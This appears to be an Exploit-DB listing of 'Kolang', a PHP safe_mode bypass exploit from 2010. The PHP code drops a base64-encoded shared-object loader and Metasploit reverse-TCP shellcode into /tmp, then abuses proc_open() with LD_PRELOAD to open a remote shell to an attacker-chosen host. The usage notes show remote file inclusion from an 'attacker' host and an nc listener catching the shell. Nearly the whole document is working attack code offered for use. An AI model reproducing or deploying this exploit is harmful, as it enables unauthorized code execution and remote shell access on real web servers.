Kolang 4.3.10 < 5.3.0 - 'proc_open()' PHP 'safe_mode' Bypass

  • 作者： Hamid Ebadi
    日期： 2010-03-05
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/11636/
  • <?php
/*
Kolang (PHP Safe mode bypass)
(IHSteam priv8 for lazy penetration testers)

(php 4.3.10 - 5.3.0)
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-4018(12/19/2009)
http://www.milw0rm.com/exploits/7393 (12/09/2008)

1- Kolang can be used directly in file inclusion RFI&LFI vulnerabilities (no upload required)
2- Kolang can execute arbitrary shellcode (just for fans of metasploit )

~~~~ How to use:)

for linux:
	kolang.php?os=linux&host=LHOST&port=LPORT
	or 
	kolang.php?os=linux&shell=BASE64_ENCODED_SHELLCODE

for freebsd:
	kolang.php?os=freebsd&shell=BASE64_ENCODED_SHELLCODE

file inclusion :
	http://host/vul.php?path=http://attacker/kolang.txt?&os=linux&host=LHOST&port=LPORT


http://localhost/kolang.php?host=localhost&port=2121
hamid@bugtraq ~ $ nc -vv -l -p 2121
listening on [any] 2121 ...
connect to [127.0.0.1] from bugtraq [127.0.0.1] 40526
id
uid=65534(nobody) gid=65533(nogroup) groups=65533(nogroup)


Hamid Ebadi
http://www.bugtraq.ir
contact : ebadi~bugtraq~ir

Kolang means pickaxe (the idea came from amnafzar naming convention)
(Separ, Sarand, Alak, Skort)
*/


$port= intval($_REQUEST['port']);
$host= $_REQUEST['host'];
$os= $_REQUEST['os'];

/*


//compile : cc -o shellcode.so -fPIC -shared shellcode.c
//
//<?php
//$data=file_get_contents('shellcode.so');
//file_put_contents('shellcode_base64.txt',$data);
//?>




// "shellcode loader" : load and execute arbitrary shellcode from a file
// Hamid Ebadi
#define O_RDONLY 00 ; fcntl.h
#define SHELLCODE_MAX_SIZE 1024
// change kolang.php and shellcode loader if sys_get_temp_dir()!='/tmp'
#define SHELLCODE_FILENAME "/tmp/.X11-IHSTEAM"

void getuid()
{
	unsetenv("LD_PRELOAD"); //not really necessary, we can remove it
	int fd;
	char shellcode[SHELLCODE_MAX_SIZE];
	char filename[]=SHELLCODE_FILENAME ;
	// we can also pass the shellcode in program's arguments
	if ((fd = open(SHELLCODE_FILENAME,O_RDONLY)) < 0) {
	exit(1);
	}
	if (read(fd,shellcode,SHELLCODE_MAX_SIZE) < 0){
	exit(1);
	}
	(*(void(*)()) shellcode)();
}

*/

if ($_REQUEST['os']=='freebsd'){
// freebsd shellcode loader (x86)
$shellcode_loader=
"f0VMRgEBAQkAAAAAAAAAAAMAAwABAAAAeAUAADQAAADsCQAAAAAAADQAIAADACgAFwAUAAEAAAAA
AAAAAAAAAAAAAADhBwAA4QcAAAUAAAAAEAAAAQAAAOQHAADkFwAA5BcAAPwAAAAYAQAABgAAAAAQ
AAACAAAA8AcAAPAXAADwFwAAoAAAAKAAAAAGAAAABAAAABEAAAAkAAAAAAAAAB0AAAAeAAAAIgAA
ABUAAAAAAAAAAAAAABoAAAAcAAAAIwAAACEAAAAbAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXAAAAFAAAABYA
AAAZAAAAAAAAAB8AAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJQAAAAAAAAAAwAB
AAAAAABwAQAAAAAAAAMAAgAAAAAAsAMAAAAAAAADAAMAAAAAAGQEAAAAAAAAAwAEAAAAAACUBAAA
AAAAAAMABQAAAAAA1AQAAAAAAAADAAYAAAAAAOgEAAAAAAAAAwAHAAAAAAB4BQAAAAAAAAMACAAA
AAAAJAcAAAAAAAADAAkAAAAAADAHAAAAAAAAAwAKAAAAAADkFwAAAAAAAAMACwAAAAAA7BcAAAAA
AAADAAwAAAAAAPAXAAAAAAAAAwANAAAAAACQGAAAAAAAAAMADgAAAAAAmBgAAAAAAAADAA8AAAAA
AKAYAAAAAAAAAwAQAAAAAACkGAAAAAAAAAMAEQAAAAAA4BgAAAAAAAADABIAAAAAAAAAAAAAAAAA
AwATAIQAAAAAAAAAAAAAABAAAAABAAAA8BcAAAAAAAARAPH/LAAAAAAAAAAAAAAAIAAAAH0AAABU
BgAAnQAAABIACAAgAAAA1AQAAAAAAAASAAYAOwAAAAAAAAAAAAAAIAAAAJcAAAAAAAAAAAAAABAA
AACjAAAA4BgAAAAAAAAQAPH/JgAAACQHAAAAAAAAEgAJAJwAAADgGAAAAAAAABAA8f8KAAAApBgA
AAAAAAARAPH/rwAAAPwYAAAAAAAAEADx/5IAAAAAAAAAAAAAABAAAACNAAAAAAAAAAAAAAAQAAAA
aQAAAAAAAAAAAAAAIAAAAFMAAAAAAAAAAAAAACAAAAAAX0RZTkFNSUMAX0dMT0JBTF9PRkZTRVRf
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EAAAAOnA/////6MYAAAAaBgAAADpsP////+jHAAAAGggAAAA6aD/////oyAAAABoKAAAAOmQ////
/6MkAAAAaDAAAADpgP////+jKAAAAGg4AAAA6XD///9VieVT6AAAAABbgcMjEwAAUYC7PAAAAAB1
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MTkgMDc6MzE6MDYgZGZyIEV4cCAkAAAAAOQXAACcGAAAAAAAAAwAAADUBAAADQAAACQHAAAEAAAA
lAAAAAUAAACwAwAABgAAAHABAAAKAAAAtAAAAAsAAAAQAAAAAwAAAKQYAAACAAAAQAAAABQAAAAR
AAAAFwAAAJQEAAARAAAAZAQAABIAAAAwAAAAEwAAAAgAAAD6//9vAgAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAPAXAAAAAAAAAAAA
AP4EAAAOBQAAHgUAAC4FAAA+BQAATgUAAF4FAABuBQAAAAAAAAAAAAAAAAAAAAAAAABHQ0M6IChH
TlUpIDMuNC42IFtGcmVlQlNEXSAyMDA2MDMwNQAAR0NDOiAoR05VKSAzLjQuNiBbRnJlZUJTRF0g
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GAAAAAAAAAMADwAAAAAAoBgAAAAAAAADABAAAAAAAKQYAAAAAAAAAwARAAAAAADgGAAAAAAAAAMA
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AAAAAAADABYAAQAAAAAAAAAAAAAABADx/yIAAAAAAAAAAAAAAAQA8f8xAAAAAAAAAAAAAAAEAPH/
AQAAAAAAAAAAAAAABADx/zwAAAAAAAAAAAAAAAQA8f9HAAAAkBgAAAAAAAABAA4AVQAAAJgYAAAA
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AAIACAA8AAAAAAAAAAAAAAAEAPH/vgAAAJQYAAAAAAAAAQAOAMsAAACcGAAAAAAAAAEADwDYAAAA
7BcAAAAAAAABAAwA5gAAAKAYAAAAAAAAAQAQAPIAAAD0BgAAAAAAAAIACAAIAQAAAAAAAAAAAAAE
APH/IgAAAAAAAAAAAAAABADx/zEAAAAAAAAAAAAAAAQA8f8IAQAAAAAAAAAAAAAEAPH/KQEAAAAA
AAAAAAAABADx/zUBAADkFwAAAAAAAAECCwBCAQAAAAAAAAAAAAAQAAAASwEAAPAXAAAAAAAAEQDx
/1QBAAAAAAAAAAAAACAAAABjAQAAVAYAAJ0AAAASAAgAagEAANQEAAAAAAAAEgAGAHABAAAAAAAA
AAAAACAAAACIAQAAAAAAAAAAAAAQAAAAjQEAAOAYAAAAAAAAEADx/5kBAAAkBwAAAAAAABIACQCf
AQAA4BgAAAAAAAAQAPH/pgEAAKQYAAAAAAAAEQDx/7wBAAD8GAAAAAAAABAA8f/BAQAAAAAAAAAA
AAAQAAAAxgEAAAAAAAAAAAAAEAAAAMsBAAAAAAAAAAAAACAAAADfAQAAAAAAAAAAAAAgAAAAAC91
c3Ivc3JjL2xpYi9jc3UvaTM4Ni1lbGYvY3J0aS5TADxjb21tYW5kIGxpbmU+ADxidWlsdC1pbj4A
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AF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AG9iamVj
dC4yAGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBf
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X0p2X1JlZ2lzdGVyQ2xhc3NlcwBfX3JlZ2lzdGVyX2ZyYW1lX2luZm8A";
}else{
// default: linux
// linux shellcode loader (x86)
$shellcode_loader=
"f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAIAQAADQAAACIEQAAAAAAADQAIAAGACgAGwAYAAEAAAAA
AAAAAAAAAAAAAABIBgAASAYAAAUAAAAAEAAAAQAAAAwPAAAMHwAADB8AABABAAAYAQAABgAAAAAQ
AAACAAAAIA8AACAfAAAgHwAAyAAAAMgAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAA
AAYAAAAEAAAAUuV0ZAwPAAAMHwAADB8AAPQAAAD0AAAABAAAAAEAAACAFQRlAAAAAAAAAAAAAAAA
AAAAAAAAAAAAKAAABAAAAAMAAAAOAAAADAAAAAcAAAAGAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAN
AAAACwAAAAkAAAADAAAABQAAAAgAAAABAAAACgAAAAQAAAADAAAACAAAAAIAAAAGAAAAiAAhAQDE
QAkIAAAACwAAAA0AAAAGpIf/uuOSfENF1ezYcVgcuY3xDuvT7w4AAAAAAAAAAAAAAAAAAAAATwAA
AAAAAAB6AAAAEgAAAAEAAAAAAAAAAAAAACAAAAArAAAAAAAAAAAAAAAgAAAARgAAAAAAAAD+AAAA
EgAAAFkAAAAAAAAAegAAABIAAAAcAAAAAAAAAAsBAAAiAAAAVAAAAAAAAAD9AAAAEgAAAD8AAAAM
BQAAvQAAABIACwB7AAAAJCAAAAAAAAAQAPH/aAAAABwgAAAAAAAAEADx/28AAAAcIAAAAAAAABAA
8f8QAAAAkAMAAAAAAAASAAkAFgAAAAgGAAAAAAAAEgAMAABfX2dtb25fc3RhcnRfXwBfaW5pdABf
ZmluaQBfX2N4YV9maW5hbGl6ZQBfSnZfUmVnaXN0ZXJDbGFzc2VzAGdldHVpZAB1bnNldGVudgBv
cGVuAGV4aXQAcmVhZABsaWJjLnNvLjYAX2VkYXRhAF9fYnNzX3N0YXJ0AF9lbmQAR0xJQkNfMi4x
LjMAR0xJQkNfMi4wAAAAAgAAAAAAAgACAAMAAgABAAEAAQABAAEAAQAAAAEAAgBeAAAAEAAAAAAA
AABzH2kJAAADAIAAAAAQAAAAEGlpDQAAAgCMAAAAAAAAABggAAAIAAAA6B8AAAYCAADsHwAABgMA
APAfAAAGBgAAACAAAAcBAAAEIAAABwIAAAggAAAHBAAADCAAAAcFAAAQIAAABwYAABQgAAAHBwAA
VYnlg+wI6IUAAADoMAEAAOgrAgAAycMA/7MEAAAA/6MIAAAAAAAAAP+jDAAAAGgAAAAA6eD/////
oxAAAABoCAAAAOnQ/////6MUAAAAaBAAAADpwP////+jGAAAAGgYAAAA6bD/////oxwAAABoIAAA
AOmg/////6MgAAAAaCgAAADpkP///wAAAAAAAAAAVYnlU4PsBOgAAAAAW4HDyBsAAIuT9P///4XS
dAXohv///1hbycOQkJCQkJCQkJCQVYnlVlPorQAAAIHDmhsAAIPsEIC7KAAAAAB1XYuD/P///4XA
dA6LgyQAAACJBCTodP///4uLLAAAAI2DJP///42TIP///ynQwfgCjXD/OfFzII22AAAAAI1BAYmD
LAAAAP+UgyD///+LiywAAAA58XLmxoMoAAAAAYPEEFteXcNVieVT6C4AAACBwxsbAACD7ASLkyj/
//+F0nQVi5P4////hdJ0C42DKP///4kEJP/Sg8QEW13Dixwkw5BVieVTgew0BAAA6Oz///+Bw9ka
AACNgzDm//+JBCToqf7//8eF5vv//y90bXDHher7//8vLlgxx4Xu+///MS1JSMeF8vv//1NURUFm
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VEVBTQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wAAAAD/////AAAAAAAAAAABAAAA
XgAAAAwAAACQAwAADQAAAAgGAAAEAAAA9AAAAPX+/29AAQAABQAAAFwCAAAGAAAAfAEAAAoAAACW
AAAACwAAABAAAAADAAAA9B8AAAIAAAAwAAAAFAAAABEAAAAXAAAAYAMAABEAAABAAwAAEgAAACAA
AAATAAAACAAAAP7//28QAwAA////bwEAAADw//9v8gIAAPr//28BAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAfAAAAAAAAAAAAAL4DAADOAwAA
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eW5hbWljAC5nb3QALmdvdC5wbHQALmRhdGEALmJzcwAuY29tbWVudAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8AAAAFAAAAAgAAAPQAAAD0AAAATAAAAAMAAAAAAAAA
BAAAAAQAAAAbAAAA9v//bwIAAABAAQAAQAEAADwAAAADAAAAAAAAAAQAAAAEAAAAJQAAAAsAAAAC
AAAAfAEAAHwBAADgAAAABAAAAAEAAAAEAAAAEAAAAC0AAAADAAAAAgAAAFwCAABcAgAAlgAAAAAA
AAAAAAAAAQAAAAAAAAA1AAAA////bwIAAADyAgAA8gIAABwAAAADAAAAAAAAAAIAAAACAAAAQgAA
AP7//28CAAAAEAMAABADAAAwAAAABAAAAAEAAAAEAAAAAAAAAFEAAAAJAAAAAgAAAEADAABAAwAA
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AACoAwAAcAAAAAAAAAAAAAAABAAAAAQAAABpAAAAAQAAAAYAAAAgBAAAIAQAAOgBAAAAAAAAAAAA
ABAAAAAAAAAAbwAAAAEAAAAGAAAACAYAAAgGAAAcAAAAAAAAAAAAAAAEAAAAAAAAAHUAAAABAAAA
AgAAACQGAAAkBgAAHQAAAAAAAAAAAAAAAQAAAAAAAAB9AAAAAQAAAAIAAABEBgAARAYAAAQAAAAA
AAAAAAAAAAQAAAAAAAAAhwAAAAEAAAADAAAADB8AAAwPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAI4A
AAABAAAAAwAAABQfAAAUDwAACAAAAAAAAAAAAAAABAAAAAAAAACVAAAAAQAAAAMAAAAcHwAAHA8A
AAQAAAAAAAAAAAAAAAQAAAAAAAAAmgAAAAYAAAADAAAAIB8AACAPAADIAAAABAAAAAAAAAAEAAAA
CAAAAKMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACoAAAAAQAAAAMAAAD0
HwAA9A8AACQAAAAAAAAAAAAAAAQAAAAEAAAAsQAAAAEAAAADAAAAGCAAABgQAAAEAAAAAAAAAAAA
AAAEAAAAAAAAALcAAAAIAAAAAwAAABwgAAAcEAAACAAAAAAAAAAAAAAABAAAAAAAAAC8AAAAAQAA
AAAAAAAAAAAAHBAAAKYAAAAAAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAMIQAADFAAAA
AAAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAADAFQAAsAIAABoAAAAeAAAABAAAABAAAAAJ
AAAAAwAAAAAAAAAAAAAAcBgAAAsBAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAD0AAAAAAAAAAMAAQAAAAAAQAEAAAAAAAADAAIAAAAAAHwBAAAAAAAAAwADAAAAAABcAgAAAAAA
AAMABAAAAAAA8gIAAAAAAAADAAUAAAAAABADAAAAAAAAAwAGAAAAAABAAwAAAAAAAAMABwAAAAAA
YAMAAAAAAAADAAgAAAAAAJADAAAAAAAAAwAJAAAAAACoAwAAAAAAAAMACgAAAAAAIAQAAAAAAAAD
AAsAAAAAAAgGAAAAAAAAAwAMAAAAAAAkBgAAAAAAAAMADQAAAAAARAYAAAAAAAADAA4AAAAAAAwf
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AAAAAADoHwAAAAAAAAMAEwAAAAAA9B8AAAAAAAADABQAAAAAABggAAAAAAAAAwAVAAAAAAAcIAAA
AAAAAAMAFgAAAAAAAAAAAAAAAAADABcAAQAAAAAAAAAAAAAABADx/w0AAAD0HwAAAAAAAAEC8f8j
AAAAGCAAAAAAAAABAhUAMAAAABgfAAAAAAAAAQIQAD0AAAAHBQAAAAAAAAICCwBUAAAAIB8AAAAA
AAABAvH/XQAAAAAAAAB6AAAAEgAAAG0AAAAAAAAAAAAAACAAAAB8AAAAAAAAAAAAAAAgAAAAkAAA
AAAAAAD+AAAAEgAAAKQAAAAIBgAAAAAAABIADACqAAAAAAAAAHoAAAASAAAAugAAABwgAAAAAAAA
EADx/8YAAAAMBQAAvQAAABIACwDNAAAAJCAAAAAAAAAQAPH/0gAAABwgAAAAAAAAEADx/9kAAAAA
AAAACwEAACIAAAD1AAAAAAAAAP0AAAASAAAABQEAAJADAAAAAAAAEgAJAABzaGVsbGNvZGUuYwBf
R0xPQkFMX09GRlNFVF9UQUJMRV8AX19kc29faGFuZGxlAF9fRFRPUl9FTkRfXwBfX2k2ODYuZ2V0
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AF9fYnNzX3N0YXJ0AGdldHVpZABfZW5kAF9lZGF0YQBfX2N4YV9maW5hbGl6ZUBAR0xJQkNfMi4x
LjMAZXhpdEBAR0xJQkNfMi4wAF9pbml0AA==" ;
}

if (!function_exists('file_put_contents')){
function file_put_contents($filename, $data){
$f = @fopen($filename, 'w');
if (!$f){
return false;
}
else{
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
}

// Note: change kolang.php and shellcode loader if sys_get_temp_dir()!='/tmp'
file_put_contents('/tmp/shellcode.so' , base64_decode($shellcode_loader));
$ip = gethostbyname($host);

$port1 = sprintf('%c', ($port>> 8)&255);
$port2 = sprintf('%c', ($port>> 0)&255);

$part = explode('.', $ip);
//$HEXIP = sprintf('%02x%02x%02x%02x', $part[0], $part[1], $part[2], $part[3]);
$STRINGIP = sprintf('%c%c%c%c', $part[0], $part[1], $part[2], $part[3]);

/*
 * linux/x86/shell_reverse_tcp - 71 bytes
 * http://www.metasploit.com
 * Encoder: generic/none
 * LHOST=$STRINGIP, LPORT=$port1.$port2, ReverseConnectRetries=5,
 * PrependSetresuid=false, PrependSetreuid=false,
 * PrependSetuid=false, PrependChrootBreak=false,
 * AppendExit=false
 */


$Xshellcode=
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80".
"\x5b\x5e\x68".$STRINGIP."\x66\x68".$port1.$port2."\x66\x53\x6a\x10".
"\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f".
"\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69".
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x00" ;

if(isset($_REQUEST['shellcode'])){
// just for fans of metasploit
$Xshellcode=base64_decode($_REQUEST['shellcode']);
}

file_put_contents("/tmp/.X11-IHSTEAM", $Xshellcode);

$cwd = '/tmp/';
$env = array('LD_PRELOAD' => '/tmp/shellcode.so');
unset($var);

$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"));

// BOOM
proc_open('IHSteam', $descriptorspec, $var, $cwd, $env);
mail("IHSteam","IHSteam","IHSteam","IHSteam");
?>